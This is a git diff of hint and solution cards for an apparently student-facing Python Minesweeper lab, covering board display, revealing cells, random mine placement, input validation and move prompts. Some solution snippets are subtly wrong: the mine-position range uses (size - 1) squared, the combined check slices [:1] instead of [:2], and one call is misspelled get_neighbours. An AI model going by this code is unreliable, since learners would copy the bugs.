-### Step 2: Handling those possibilities
-
-To handle each of those possibilties, a simple if conditional with the corresponding `Cell` attributes should suffice to handle your "M", "F" and "X" cases.
-
----
-
-Picture: fork in the road
-
-### Step 3: Handling visible non-mine cells
-
-If a cell is visible and not a mine, we should use our helper `count_surrounding` to calculate the number of surrounding mines. Make sure you handle the case when there are no surrounding mines!
-
----
-
-picture: someone with a metal detector (SAME AS 44.md!!)
-
-
-
-### Step 4: Return values
-
-Lastly, make sure you return only one character or number.
-
----
-
-picture: return shipping label?
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/531.md b/Module3_Labs/Lab3_Minesweeper/Cards/531.md
deleted file mode 100644
index 7212f18e..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/531.md
+++ /dev/null
@@ -1,61 +0,0 @@
-## `mine_repr()` Code
-
-### Step 1: Isolating the cell
-
-We first can obtain the `Cell` object of interest with the following line:
-
-```python
-cell = self[row_id][col_id]
-```
-
-### Step 2: Visible Cases
-
-We have two cases for when a cell is visible: mine or non-mine. If a cell is a mine we return "M".
-
-```python
-if cell.is_visible:
- if cell.is_mine:
- return "M"
-```
-
-### Step 3: Visible Cases cont.
-
-If a cell is visible and not a mine, we find the number of neighbors with `self.count_surrounding`.
-
-```python
- else:
- surr = self.count_surrounding(row_id, col_id)
- return str(surr) if surr else " "
-```
-Because `count_surrounding` returns a number, we need to convert it to a string. For the zero case, we return an empty space.
-
-### Step 4: Other Cases
-
-Continuing the conditional, if the cell is flagged we return "F". Now we have handled all the visible and flagged tiles, so every other tile must be not visible, which returns "X".
-
-```python
-elif cell.is_flagged:
- return "F"
-else:
- return "X"
-```
-
-### Step 5: Solution
-
-Here is the entire `mine_repr()` solution:
-
-```python
-def mine_repr(self, row_id, col_id):
- cell = self[row_id][col_id]
- if cell.is_visible:
- if cell.is_mine:
- return "M"
- else:
- surr = self.count_surrounding(row_id, col_id)
- return str(surr) if surr else " "
- elif cell.is_flagged:
- return "F"
- else:
- return "X"
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/54.md b/Module3_Labs/Lab3_Minesweeper/Cards/54.md
deleted file mode 100644
index 97163283..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/54.md
+++ /dev/null
@@ -1,25 +0,0 @@
-## show(): How to make a cell visible
-
-### Step 1: Obtaining the specific cell at (row_id, col_id)
-
-First, we have to locate the cell at `(row_id, col_id)`. How do we do that?
-
----
-
-picture idea: treasure map with red X?
-
-### Step 2: Only showing non-visible and non-flagged cells
-
-If a cell is visible or flagged, then we shouldn't show it. If it is not visible and not flagged then we should show it using the `Cell` class's `show()` function.
-
----
-
-picture idea: magnifying glass showing a clue to an investigation?
-
-### Step 3: Updating `is_playing`
-
-After the previous check, if the player shows a mine, then the game is over, so `self.is_playing` must be set to `False` in that case.
-
----
-
-picture idea: GAME OVER! clipart
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/541.md b/Module3_Labs/Lab3_Minesweeper/Cards/541.md
deleted file mode 100644
index aa2e448b..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/541.md
+++ /dev/null
@@ -1,44 +0,0 @@
-## Code for making a cell visible
-
-### Step 1: Isolating the cell
-
-We first can obtain the `Cell` object of interest with the following line:
-
-```python
-cell = self[row_id][col_id]
-```
-
-### Step 2: Meeting Conditions to show the cell
-
-If the cell is not visible and not flagged, then we can show the cell by running the `show()` setter from `Cell`:
-
-```python
-if not (cell.is_visible or cell.is_flagged):
- cell.show()
-```
-
-### Step 3: Setting `is_playing`
-
-The game is over when the cell is a mine, so we set `is_playing` to `False`.
-
-```python
- if cell.is_mine:
- self.is_playing = False
-```
-
-The case for handling tiles without surrounding mines is handled in another hint.
-
-### Step 4: Solution (w/o no adjacent mine handling)
-
-```python
-def show(self, row_id, col_id):
- cell = self[row_id][col_id]
- if not (cell.is_visible or cell.is_flagged):
- cell.show()
-
- if cell.is_mine:
- self.is_playing = False
- elif # insert condition here
- # insert rest of code here
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/55.md b/Module3_Labs/Lab3_Minesweeper/Cards/55.md
deleted file mode 100644
index 9dde4889..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/55.md
+++ /dev/null
@@ -1,36 +0,0 @@
-## show(): Showing Tiles with no neighboring mines using Recursion
-
-### Step 1: Set-up
-
-How do we check if there are zero surrounding mines? We can use our helper `count_surrounding` to check if there are zero adjacent mines.
-
----
-
-picture idea: adventurer looking around and breathing a sigh of relief
-
-### Step 2: What to do
-
-If there are no surrounding mines then we want to show all of this tile's neighbors. Use `get_neighbors` to obtain all the neighbors of this tile.
-
----
-
-Picture: a person in the center of 9 tiles, with dots on the surrounding 8 tiles (SAME AS 42.MD)
-
-### Step 3: Out of bounds Handling
-
-Depending on how you implemented `get_neighbors` previously, you may have to run `is_in_range` on each neighbor to ensure all your neighbors actually exist within the grid.
-
----
-
-picture: SAME AS 41.MD (STEP 1)
-
-### Step 4: Handling Each Valid Neighbor
-
-Now for each valid neighbor, we want to show it on the board, so we just recursively run the `show()` function on each neighbor. Given that we want to show the cell with the surrounding coordinates in the board, which `show()` should you use: `Cell` or `Board`?
-
----
-
-picture: this but with mirrors?
-
-
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/551.md b/Module3_Labs/Lab3_Minesweeper/Cards/551.md
deleted file mode 100644
index 4dff0f52..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/551.md
+++ /dev/null
@@ -1,42 +0,0 @@
-### Code for showing tiles with no adjacent mines
-
-### Step 1: How to check for no adjacent mines
-
-We use the `count_surrounding` helper to check if there are no adjacent mines:
-
-```python
-# note that this continues from the previous code
-elif self.count_surrounding(row_id, col_id) == 0:
-```
-
-
-
-### Step 2: Showing Neighbors - Iteration
-
-We can iterate through all possible neighbors using `self.get_neighbors`:
-
-```python
- for (surr_row, surr_col) in self.get_neighbors(row_id, col_id):
-```
-
-### Step 3: Checking if a neighbor is in range before showing
-
-For each neighbor, we use the `is_in_range` helper to check if each neighbor is in range:
-
-```python
- if self.is_in_range(surr_row, surr_col):
- self.show(surr_row, surr_col)
-```
-
-### Step 4: Solution
-
-Here is the entire solution, excluding code covered in other hints for the other visibility cases:
-
-```python
- # code continues...
- elif self.count_surrounding(row_id, col_id) == 0:
- for (surr_row, surr_col) in self.get_neighbours(row_id, col_id):
- if self.is_in_range(surr_row, surr_col):
- self.show(surr_row, surr_col)
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/56.md b/Module3_Labs/Lab3_Minesweeper/Cards/56.md
deleted file mode 100644
index de81de05..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/56.md
+++ /dev/null
@@ -1,53 +0,0 @@
-## `__str__`: How to print the board
-
-### Step 1: Displaying Remaining Mines
-
-There is an attribute we have already defined that allows us to easily compute the number of mines left on the board.
-
----
-
-picture: finished line clipart (SAME AS 431.MD) > 
-
-
-
-### Step 2: Printing out the Columns
-
-Next, in the first row, we should print each column number, those will serve as our column headers and let the player more easily tell what column each cell is in.
-
-Make sure the column number is printed at the beginning and the end of each column for better visibility.
-
-
-
-### Step 3: Printing out the Rows
-
-For each subsequent row, the string representation of each cell should be printed.
-
-* What helper function have we already defined that we can call here to find the value that should be printed for each cell depending on their state?
-
-Make sure the row number is printed at the beginning and the end of each row for better visibility.
-
-### Step 4: Last Notices
-
-* Make sure you space your numbers and tiles so that the user can easily see for each cell which row and column it belongs to.
-* `__str__` should be returning only **one string**.
-
-### Step 5: How the board should look like in console
-
-Here is an example of how you should represent your board:
-
-```
-Mines: 9
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/561.md b/Module3_Labs/Lab3_Minesweeper/Cards/561.md
deleted file mode 100644
index c5d609c2..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/561.md
+++ /dev/null
@@ -1,29 +0,0 @@
-## Code to Print Out Remaining Mines & Column Headers
-
-### Step 1: Number of Remaining Mines
-
-We can use `self.remaining_mines` to compute the number of remaining mines on the board. Remember `remaining_mines` has a `@property` decorator so we can use it as a property of our `Board` object!
-
-```python
-"Mines: " + str(self.remaining_mines) + "\n " +
-```
-
-Remember we are returning one string so we add a new line at the end for the sake of clean output.
-
-### Step 2: Printing out Columns
-
-`len(self[0])` will give us the number of columns. We simply iterate through the list of 0, 1, ..., `len(self[0])` and print the string version of each number to print out the columns:
-
-```python
-"".join([str(i) for i in range(len(self[0]))])
-```
-
-Make sure to do this at the end as well.
-
-### Step 3: Code
-
-```python
-board_string = ("Mines: " + str(self.remaining_mines) + "\n " + "".join([str(i) for i in range(len(self[0]))]))
-```
-
-You should append row headers and row content to this string.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/562.md b/Module3_Labs/Lab3_Minesweeper/Cards/562.md
deleted file mode 100644
index a602d02e..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/562.md
+++ /dev/null
@@ -1,41 +0,0 @@
-## Code to Print Out Row Headers and Cell Contents
-
-### Step 1: Row Iteration
-
-To output each row, we will have to iterate through `self`. However we also want to print the associated `row_id` with each row, and we can do that by using `enumerate(self)` to get a tuple of a count associated with the row.
-
-```python
-for (row_id, row) in enumerate(self):
-```
-
-### Step 2: Printing each `row` number
-
-We'll first print a newline and then the `row_id`, properly spaced:
-
-```python
-"\n" + str(row_id) + " "
-```
-
-Make sure you are doing this at the end of each row as well.
-
-### Step 3: Printing each row's contents
-
-We want to iterate through all the columns to get each cell object individually. After finding an individual `Cell`, we can use `mine_repr` to print each cell. Then we can use the built-in `join` function to put all of the characters together in one string for each row.
-
-```python
- "".join(self.mine_repr(row_id, col_id)
- for (col_id, _) in enumerate(row))
-```
-
-We use `enumerate(row)` to just get a `col_id`, we won't actually do anything with the contents of the row.
-
-### Step 4: Code
-
-```python
-for (row_id, row) in enumerate(self):
- board_string += ("\n" + str(row_id) + " " +
- "".join(self.mine_repr(row_id, col_id)
- for (col_id, _) in enumerate(row)) + " " + str(row_id))
-```
-
-You should prepend remaining mines and column headers to this string.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/6-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/6-1-1.md
new file mode 100644
index 00000000..7599ddec
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/6-1-1.md
@@ -0,0 +1,69 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 6-1-1 Step 1
+### name
+```
+Possible Mine Positions (Integer form)
+```
+### md_content
+```
+
+We are given the `size`, so we just square `(size - 1)` to find the greatest integer, and then use `range` to generate a list from 0 to that greatest integer. We need a list so we cast that expression to a `list` type.
+```
+### code_snippet
+```python
+available_pos = list(range((size - 1) * (size - 1)))
+```
+## 6-1-1 Step 2
+### name
+```
+Choosing Random Position
+```
+### md_content
+```
+To choose a random position, we can use the `random.choice` function. Don't forget to remove the position you just chose! We don't want duplicate mines.
+```
+### code_snippet
+```python
+new_pos = random.choice(available_pos)
+available_pos.remove(new_pos)
+```
+## 6-1-1 Step 3
+### name
+```
+Calculate row and column
+```
+### md_content
+```
+To calculate your row and column given an integer position, the row is simply the position divided by the size and the column is the remainder of that division. With that `row_id` and `col_id` calculated, you can directly place a mine using `Board`'s `place_mine` function.
+```
+### code_snippet
+```python
+(row_id, col_id) = (new_pos // size, new_pos % size)
+board.place_mine(row_id, col_id)
+```
+## 6-1-1 Step 4
+### name
+```
+Entirety of `create_board`
+
+Do not forget to place the number of indicated mines!
+```
+### code_snippet
+```python
+def create_board(size, mines):
+ board = Board(tuple([tuple([Cell(False) for i in range(size)]) for j in range(size)]))
+ available_pos = list(range((size - 1) * (size - 1)))
+ for i in range(mines):
+ new_pos = random.choice(available_pos)
+ available_pos.remove(new_pos)
+ (row_id, col_id) = (new_pos // size, new_pos % size)
+ board.place_mine(row_id, col_id)
+ return board
+```
+
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/6-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/6-1.md
new file mode 100644
index 00000000..a8701913
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/6-1.md
@@ -0,0 +1,106 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 6-1 Step 1
+
+### name
+Possible Mine Positions
+
+### md_content
+```
+There are two possible approaches:
+
+* Generate a list of numbers (ex. if board is 5x5 then we would generate list of numbers from 0 to 24)
+ * Then pick a random number and compute the row and col ID
+* Making the list of positions in tuple form directly and picking randomly from that list
+
+For our hints, we will go with the first approach.
+```
+### image
+
+
+## 6-2 Step 2
+### name
+```
+Generating Possible Positions
+```
+### md_content
+```
+We need to generate a list of numbers. Each number should correspond to a board position and every board position should be covered.
+```
+## 6-2 Step 3
+### name
+```
+Picking and Assigning Mine Positions
+```
+### md_content
+```
+To assign a mine, we pick a position randomly from the available positions. Then we should remove that position from the available positions so that duplicate positions do not get chosen.
+```
+### image
+
+
+## 6-2 Step 4
+### name
+```
+Getting Row and Col ID from a Position
+```
+### md_content
+```
+For a 5x5 grid, the number positions would look like this:
+
+
+
+
+
Col 0
+
Col 1
+
Col 2
+
Col 3
+
Col 4
+
+
+
Row 0
+
0
+
1
+
2
+
3
+
4
+
+
+
Row 1
+
5
+
6
+
7
+
8
+
9
+
+
+
Row 2
+
10
+
11
+
12
+
13
+
14
+
+
+
Row 3
+
15
+
16
+
17
+
18
+
19
+
+
+
Row 4
+
20
+
21
+
22
+
23
+
24
+
+
+
+Given this table I can see that the element 11 corresponds to row 2, column 1. How can you compute the row and column for any element given its number?
+```
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/6-CHECKPOINT.md b/Module3_Labs/Lab3_Minesweeper/Cards/6-CHECKPOINT.md
deleted file mode 100644
index f54d0755..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/6-CHECKPOINT.md
+++ /dev/null
@@ -1,3 +0,0 @@
-## Checkpoint 1: `Board` and `Cell`
-
-Please submit your code for the `Board` and `Cell` class. `main()` functions are provided to just test those classes.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/6.md b/Module3_Labs/Lab3_Minesweeper/Cards/6.md
index d47e746c..5f9c162f 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/6.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/6.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
Now that we have our two classes, `Board` and `Cell`, **let's actually utilize the two classes to create our Minesweeper board!**
The `create_board` function takes in integers `size` (how big the board should be) and `mines` (the list of numbers of mines we want in our board) and returns a `board` object.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/61.md b/Module3_Labs/Lab3_Minesweeper/Cards/61.md
deleted file mode 100644
index 9ba011e3..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/61.md
+++ /dev/null
@@ -1,89 +0,0 @@
-## Creating the Board: Hints
-
-### Step 1: Possible Mine Positions
-
-There are two possible approaches:
-
-* Generate a list of numbers (ex. if board is 5x5 then we would generate list of numbers from 0 to 24)
- * Then pick a random number and compute the row and col ID
-* Making the list of positions in tuple form directly and picking randomly from that list
-
-For our hints, we will go with the first approach.
-
----
-
-picture idea: 
-
-### Step 2: Generating Possible Positions
-
-We need to generate a list of numbers. Each number should correspond to a board position and every board position should be covered.
-
----
-
-picture idea: same as Step 1
-
-### Step 3: Picking and Assigning Mine Positions
-
-To assign a mine, we pick a position randomly from the available positions. Then we should remove that position from the available positions so that duplicate positions do not get chosen.
-
----
-
-picture idea: 
-
-### Step 4: Getting Row and Col ID from a Position
-
-For a 5x5 grid, the number positions would look like this:
-
-
-
-
-
Col 0
-
Col 1
-
Col 2
-
Col 3
-
Col 4
-
-
-
Row 0
-
0
-
1
-
2
-
3
-
4
-
-
-
Row 1
-
5
-
6
-
7
-
8
-
9
-
-
-
Row 2
-
10
-
11
-
12
-
13
-
14
-
-
-
Row 3
-
15
-
16
-
17
-
18
-
19
-
-
-
Row 4
-
20
-
21
-
22
-
23
-
24
-
-
-
-Given this table I can see that the element 11 corresponds to row 2, column 1. How can you compute the row and column for any element given its number?
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/611.md b/Module3_Labs/Lab3_Minesweeper/Cards/611.md
deleted file mode 100644
index 08d818fc..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/611.md
+++ /dev/null
@@ -1,47 +0,0 @@
-## Creating the Board: Code
-
-### Step 1: Possible Mine Positions (Integer form)
-
-We are given the `size`, so we just square `(size - 1)` to find the greatest integer, and then use `range` to generate a list from 0 to that greatest integer. We need a list so we cast that expression to a `list` type.
-
-```python
-available_pos = list(range((size - 1) * (size - 1)))
-
-```
-
-### Step 2: Choosing Random Position
-
-To choose a random position, we can use the `random.choice` function. Don't forget to remove the position you just chose! We don't want duplicate mines.
-
-```python
-new_pos = random.choice(available_pos)
-available_pos.remove(new_pos)
-```
-
-### Step 3: Calculate row and column
-
-To calculate your row and column given an integer position, the row is simply the position divided by the size and the column is the remainder of that division. With that `row_id` and `col_id` calculated, you can directly place a mine using `Board`'s `place_mine` function.
-
-```python
-(row_id, col_id) = (new_pos // size, new_pos % size)
-board.place_mine(row_id, col_id)
-```
-
-### Step 4: Entirety of `create_board`
-
-Do not forget to place the number of indicated mines!
-
-```python
-def create_board(size, mines):
- board = Board(tuple([tuple([Cell(False) for i in range(size)]) for j in range(size)]))
- available_pos = list(range((size - 1) * (size - 1)))
- for i in range(mines):
- new_pos = random.choice(available_pos)
- available_pos.remove(new_pos)
- (row_id, col_id) = (new_pos // size, new_pos % size)
- board.place_mine(row_id, col_id)
- return board
-```
-
-
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/7-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/7-1-1.md
new file mode 100644
index 00000000..7f89d5ad
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/7-1-1.md
@@ -0,0 +1,84 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 7-1-1 Step 1
+
+### name
+
+```
+Scenario #1: Input Length Code
+```
+### md_content
+```
+This expression handles the length not being 2 or 3 characters long, with the exception of "H".
+```
+### code_snippet
+
+```python
+move_input == "H" or (len(move_input) not in (2, 3))
+```
+## 7-1-1 Step 2
+### name
+```
+Scenario #2: First Two Characters Code
+```
+### md_content
+```
+The first two characters must each be a digit. If any of them are not then we have to return `False` with the exception of "H".
+```
+### code_snippet
+```python
+move_input == "H" or not move_input[:2].isdigit()
+```
+## 7-1-1 Step 3
+### name
+```
+Scenario #3: Out of Range Integers Code
+```
+### md_content
+```
+If the first two characters are digits then each digit must be within the range of 0 and the board's size. We must check each of the first two characters individually, and because `board` directly represents the list of `Cell` objects, `len(board)` gives us the size.
+```
+### code_snippet
+```python
+move_input == "H" or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))
+```
+## 7-1-1 Step 4
+### name
+```
+Putting Scenarios #1-3 Together
+```
+### md_content
+```
+Because all of the scenarios above have the exception of "H", we can combine the non-"H" scenarios all in one clause:
+```
+### code_snippet
+```python
+if move_input == "H" or (len(move_input) not in (2, 3) or not move_input[:1].isdigit() or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))):
+ return False
+```
+## 7-1-1 Step 5
+### name
+```
+Scenario #4: Flagging Code
+```
+### md_content
+```
+When flagging, the first two characters have to be digits and the third character has to be `"f"` exactly.
+```
+### code_snippet
+```python
+if len(move_input) == 3 and move_input[2] != "f":
+ return False
+```
+## 7-1-1 Step 6
+### name
+```
+All Other Cases
+```
+### md_content
+```
+If the input 'passes' all of the given scenarios, then it must be valid input. You should return `True` if your code goes through all the scenarios without returning `False`.
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/7-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/7-1.md
new file mode 100644
index 00000000..68298625
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/7-1.md
@@ -0,0 +1,42 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 7-1 Step 1
+### name
+```
+Scenario #1: Input Length
+```
+### md_content
+```
+If the user's input is not two or three characters long, it is misinputted. The only exception is when "H" is inputted, and will be an exception for ALL the following scenarios.
+```
+## 7-1 Step 2
+### name
+```
+Scenario #2: First Two Characters
+```
+### md_content
+```
+The first two characters must each be a digit.
+```
+## 7-1 Step 3
+### name
+```
+Scenario #3: Out of Range Integers
+```
+### md_content
+```
+If the first two characters are digits then each digit must be within the range of 0 and the board's size.
+```
+## 7-1 Step 4
+### name
+```
+Scenario #4: Flagging
+```
+### md_content
+```
+When flagging, the first two characters have to be digits and the third character has to be `"f"` exactly.
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/7.md b/Module3_Labs/Lab3_Minesweeper/Cards/7.md
index eac9dbe2..5850e1d2 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/7.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/7.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
Now that our code allows for the creation of the `Board`, and our `Board` and `Cell` classes are coded out, we can start having the user input moves on the board.
Before making moves on the board, we have to check if the user's move is valid.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/71.md b/Module3_Labs/Lab3_Minesweeper/Cards/71.md
deleted file mode 100644
index 40eeca20..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/71.md
+++ /dev/null
@@ -1,18 +0,0 @@
-## Illuminating All Misinput Scenarios
-
-### Step 1: Scenario #1: Input Length
-
-If the user's input is not two or three characters long, it is misinputted. The only exception is when "H" is inputted, and will be an exception for ALL the following scenarios.
-
-### Step 2: Scenario #2: First Two Characters
-
-The first two characters must each be a digit.
-
-### Step 3: Scenario #3: Out of Range Integers
-
-If the first two characters are digits then each digit must be within the range of 0 and the board's size.
-
-### Step 4: Scenario #4: Flagging
-
-When flagging, the first two characters have to be digits and the third character has to be `"f"` exactly.
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/711.md b/Module3_Labs/Lab3_Minesweeper/Cards/711.md
deleted file mode 100644
index 16a87315..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/711.md
+++ /dev/null
@@ -1,53 +0,0 @@
-## Handling all Misinput Scenarios
-
-### Step 1: Scenario #1: Input Length Code
-
-This expression handles the length not being 2 or 3 characters long, with the exception of "H".
-
-```python
-move_input == "H" or (len(move_input) not in (2, 3))
-```
-
-
-
-### Step 2: Scenario #2: First Two Characters Code
-
-The first two characters must each be a digit. If any of them are not then we have to return `False` with the exception of "H".
-
-```python
-move_input == "H" or not move_input[:2].isdigit()
-```
-
-
-
-### Step 3: Scenario #3: Out of Range Integers Code
-
-If the first two characters are digits then each digit must be within the range of 0 and the board's size. We must check each of the first two characters individually, and because `board` directly represents the list of `Cell` objects, `len(board)` gives us the size.
-
-```python
-move_input == "H" or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))
-```
-
-### Step 4: Putting Scenarios #1-3 Together
-
-Because all of the scenarios above have the exception of "H", we can combine the non-"H" scenarios all in one clause:
-
-```python
-if move_input == "H" or (len(move_input) not in (2, 3) or not move_input[:1].isdigit() or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))):
- return False
-```
-
-
-
-### Step 4: Scenario #4: Flagging Code
-
-When flagging, the first two characters have to be digits and the third character has to be `"f"` exactly.
-
-```python
-if len(move_input) == 3 and move_input[2] != "f":
- return False
-```
-
-### Step 5: All Other Cases
-
-If the input 'passes' all of the given scenarios, then it must be valid input. You should return `True` if your code goes through all the scenarios without returning `False`.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/8-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/8-1-1.md
new file mode 100644
index 00000000..5fb685dd
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/8-1-1.md
@@ -0,0 +1,75 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 8-1-1 Step 1
+
+### name
+```
+Initial Prompt
+```
+### md_content
+```
+We use `input` in the following manner to initially prompt the user, and also handle the "H" case right away:
+```
+### code_snippet
+```python
+move = input("Enter your move (for help enter \"H\"): ")
+if move == "H":
+ move = input(INSTRUCTIONS)
+```
+## 8-1-1 Step 2
+### name
+```
+While input is not valid
+```
+### md_content
+```
+We can use a *while loop* to continuously prompt the user if input is not valid. Additionally, we already have coded our `is_valid` function that we can directly use here! Note that we also handle the "H" case here, otherwise the user can input misvalid input and then input "H" without getting their instructions.
+```
+### code_snippet
+```python
+ while not is_valid(move, board):
+ move = input("Invalid input. Enter your move (for help enter \"H\"): ")
+ if move == "H":
+ move = input(INSTRUCTIONS)
+```
+## 8-1-1 Step 3
+### name
+```
+Return a Tuple
+```
+### md_content
+```
+We need to return a three-element tuple consisting of the row number, col number and a boolean containing whether the move flags or not. Don't forget to type cast!
+```
+### code_snippet
+```python
+ return (int(move[1]), int(move[0]), move[-1] == "f")
+```
+## 8-1-1 Step 4
+### name
+```
+Solution
+```
+### md_content
+```
+Here is the entire solution for `get_move`:
+```
+### code_snippet
+```python
+def get_move(board):
+ INSTRUCTIONS = ("First, enter the column, followed by the row. To add or remove a flag, add \"f\" after the row (for example, 64f would place a flag on the 6th column, 4th row). Enter your move: ")
+
+ move = input("Enter your move (for help enter \"H\"):")
+ if move == "H":
+ move = input(INSTRUCTIONS)
+
+ while not is_valid(move, board):
+ move = input("Invalid input. Enter your move (for help enter \"H\"): ")
+ if move == "H":
+ move = input(INSTRUCTIONS)
+
+ return (int(move[1]), int(move[0]), move[-1] == "f")
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/8-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/8-1.md
new file mode 100644
index 00000000..0ecbab17
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/8-1.md
@@ -0,0 +1,55 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 8-1 Step 1
+### name
+```
+Using `input`
+```
+### md_content
+```
+We can use `input` to print a prompt to the screen, and store whatever the user inputs in response to that prompt. In this example, a prompt `'Enter a move'` will print to the console, and whatever the user inputs will be processed into `user_input`.
+```
+### code_snippet
+```python
+user_input = input('Enter a move')
+```
+## 8-1 Step 2
+### name
+```
+Initial Prompt
+```
+### md_content
+```
+We initially want to prompt the player for a move. If the input is "H" we should print the instructions and prompt for another move.
+```
+### image
+
+
+## 8-1 Step 3
+### name
+```
+Check for validity
+```
+### md_content
+```
+If the move that the user inputted is not valid then we
+
+* What helper function can we use to check for validity?
+* What kind of loop can we use to continously check for validity?
+```
+
+### image
+
+
+## 8-1 Step 4
+### name
+```
+Return Type
+```
+### md_content
+```
+Remember that a 3-element tuple should be returned!
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/8.md b/Module3_Labs/Lab3_Minesweeper/Cards/8.md
index 5f840cde..113c8d04 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/8.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/8.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
Now that we have our board and can validate users' input, we should of course allow the user to finally play the game! We need to first know which cell does the user want to select.
The `get_move` function takes in a `board` object and returns a **tuple that contains three elements**:
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/81.md b/Module3_Labs/Lab3_Minesweeper/Cards/81.md
deleted file mode 100644
index e6c9c879..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/81.md
+++ /dev/null
@@ -1,34 +0,0 @@
-## `get_move` Hints
-
-### Step 1: Using `input`
-
-We can use `input` to print a prompt to the screen, and store whatever the user inputs in response to that prompt. Example:
-
-```python
-user_input = input('Enter a move')
-```
-
-In this example, a prompt `'Enter a move'` will print to the console, and whatever the user inputs will be processed into `user_input`.
-
-### Step 2: Initial Prompt
-
-We initially want to prompt the player for a move. If the input is "H" we should print the instructions and prompt for another move.
-
----
-
-picture idea: 
-
-### Step 3: Check for validity
-
-If the move that the user inputted is not valid then we
-
-* What helper function can we use to check for validity?
-* What kind of loop can we use to continously check for validity?
-
----
-
-
-
-### Step 4: Return Type
-
-Remember that a 3-element tuple should be returned!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/811.md b/Module3_Labs/Lab3_Minesweeper/Cards/811.md
deleted file mode 100644
index 6a86f615..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/811.md
+++ /dev/null
@@ -1,57 +0,0 @@
-## `get_move` Code
-
-### Step 1: Initial Prompt
-
-We use `input` in the following manner to initially prompt the user:
-
-```python
-move = input("Enter your move (for help enter \"H\"): ")
-if move == "H":
- move = input(INSTRUCTIONS)
-```
-
-We also handle the "H" case right away.
-
-### Step 2: While input is not valid
-
-We can use a *while loop* to continuously prompt the user if input is not valid. Additionally, we already have coded our `is_valid` function that we can directly use here!
-
-```python
- while not is_valid(move, board):
- move = input("Invalid input. Enter your move (for help enter \"H\"): ")
- if move == "H":
- move = input(INSTRUCTIONS)
-```
-
-Note that we also handle the "H" case here, otherwise the user can input misvalid input and then input "H" without getting their instructions.
